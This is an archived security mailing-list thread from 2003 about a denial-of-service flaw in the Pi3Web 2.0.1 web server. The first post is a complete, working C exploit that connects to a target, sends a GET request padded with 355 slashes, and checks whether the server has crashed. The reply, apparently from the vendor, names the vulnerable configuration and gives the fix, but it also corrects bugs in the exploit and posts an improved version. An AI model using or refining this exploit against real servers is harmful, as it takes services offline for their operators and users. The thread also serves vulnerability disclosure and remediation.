Unix Version of the Pi3web DoS

[Angelo Rosiello]

http://www.rosiello.org
Rosiello Security


* Unix Version of the Pi3web DoS.
* ----------------------------------------------------------
* Info: Pi3Web Server is vulnerable to a denial of Service.
* ----------------------------------------------------------
* VULNERABILITY:
* GET //// <- 354
*
* The bug was found by aT4r@3wdesign.es 04/26/2003
* www.3wdesign.es Security
* ----------------------------------------------------------
* Unix Version Credits.
* AUTHOR : Angelo Rosiello
* CONTACT: angelo@rosiello.org, angelo@dtors.net
*
*/

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <string.h>
#include <assert.h>

void addr_initialize();

int main(int argc, char **argv)
{
int i, port, sd, rc;
char buffer[355];
char *get = "GET";
char packet[360];
struct sockaddr_in server;

if(argc > 3 || argc < 2)
{
printf("USAGE: %s IP PORT\n", argv[0]);
printf("e.g. ./pi3web-DoS 127.0.0.1 80\n");
exit(0);
}
if(argc == 2) port = 80;
else port = atoi(argv[2]);

for(i = 0; i < 355; i++) buffer[i] = '/'; //Build the malformed request
sprintf(packet, "%s %s\n", get, buffer);
addr_initialize(&server, port, (long)inet_addr(argv[1]));

sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd < 0) perror("Socket");
assert(sd >= 0);
rc = connect(sd, (struct sockaddr *) &server, sizeof(server));
if(rc != 0) perror("Connect");
assert(rc == 0);
printf("\n\t\t(c) 2003 DTORS Security\n");
printf("\t\tUnix Version DoS for Pi3web\n");
printf("\t\tby Angelo Rosiello\n\n");
write(sd, packet, strlen(packet)); //Caput!
printf("Malformed packet sent!\n");
close(sd);

printf("Checking if the server crashed...\n");
sleep(3);

sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd < 0) perror("Socket");
assert(sd >= 0);
rc = connect(sd, (struct sockaddr *) &server, sizeof(server));
if(rc != 0)
{
printf("The server is dead!\n");
exit(0);
}
else if(rc == 0) printf("The server is not vulnerable!\n");
close(sd);
exit(0);
}

void addr_initialize (struct sockaddr_in *address, int port, long IPaddr)
{
address -> sin_family = AF_INET;
address -> sin_port = htons((u_short)port);
address -> sin_addr.s_addr = IPaddr;
}

/*EOF*/

[Holger Zimmermann]

In-Reply-To: <20030512154945.29319.qmail@www.securityfocus.com>

The vulnerability exists in Unix version of Pi3Web
2.0.1 only,
which use the one of the following configuration files
shipped
with the binary distributions for Linux or Solaris :
/usr/local/Pi3Web/Conf/Devel.pi3
/usr/local/Pi3Web/Conf/Features.pi3

Note, that the configuration file intended to use with
a production
internet server is NOT vulnerable :
/usr/local/Pi3Web/Conf/Internet.pi3

Note, that the configuration file intended to use with
Windows
servers is also vulnerable but not relevant on unix :
/usr/local/Pi3Web/Conf/Config.pi3

The problem itself is caused by the PathInfo="Yes"
parameter in the
following configuration objects:

#
# Override some mappings for Host2 only
#
&lt;Object&gt;
Name Host2Mappings
Class FlexibleHandlerClass

#
# These mappings only apply to Host2
#
Condition "&cmp($o,Host2)"

#
# map to second document root
#
Mapping PathMapper From="/" To="WebRoot2/" PathInfo="Yes"
&lt;/Object&gt;

#
# Host1 mappings
#
&lt;Object&gt;
Name Host1Mappings
Class FlexibleHandlerClass
#
# These mappings only apply to MainVirtualHostInformation
#
Condition "&cmp($o,MainVirtualHostInformation)"
#
# map to first document root
#
Mapping PathMapper From="/" To="WebRoot/" PathInfo="Yes"
&lt;/Object&gt;

Remove both occurances of the PathInfo="Yes" from the
configuration
and restart the server in order to fix the reported issue.

Earlier Unix versions than 2.01 are NOT vulnerable.

Win32 versions are NOT vulnerable, because the
parameter has been added
in version 2.0.1 only and a related patch for the
administration client
is available, which corrects this problem in the same
manner :

http://sourceforge.net/tracker/download.php?group_id=17753&atid=317753&file_id=47258&aid=718552

Another remark: the sample code for the exploit is not
correct :
1.) the buffer with the request string is not finished
with '\0'.
2.) the constructed request is only HTTP/0.9, because
the protocol
version is missing in the message.

The current program will generate a malicious request
but I think the intended behaviour is rather to send a
valid HTTP message containing
a malicious URI path.

A proposed enhancement of the exploit looks like:

int main(int argc, char **argv)
{
int i, port, sd, rc;
char buffer[356];
char packet[380];
struct sockaddr_in server;

if(argc > 3 || argc < 2)
{
printf("USAGE: %s IP PORT\n", argv[0]);
printf("e.g. ./pi3web-DoS 127.0.0.1 80\n");
exit(0);
}
if(argc == 2) port = 80;
else port = atoi(argv[2]);

//Build the malformed request
for(i = 0; i < 355; i++) buffer[i] = '/';
buffer[i] = 0;
sprintf(packet, "GET %s HTTP/1.0\n\n", buffer);



The original code generates requests like:
GET //////...///////¿˜ @f@P

The enhanced code generates requests like:
GET //////.../////// HTTP/1.0


--
regards
Holger Zimmermann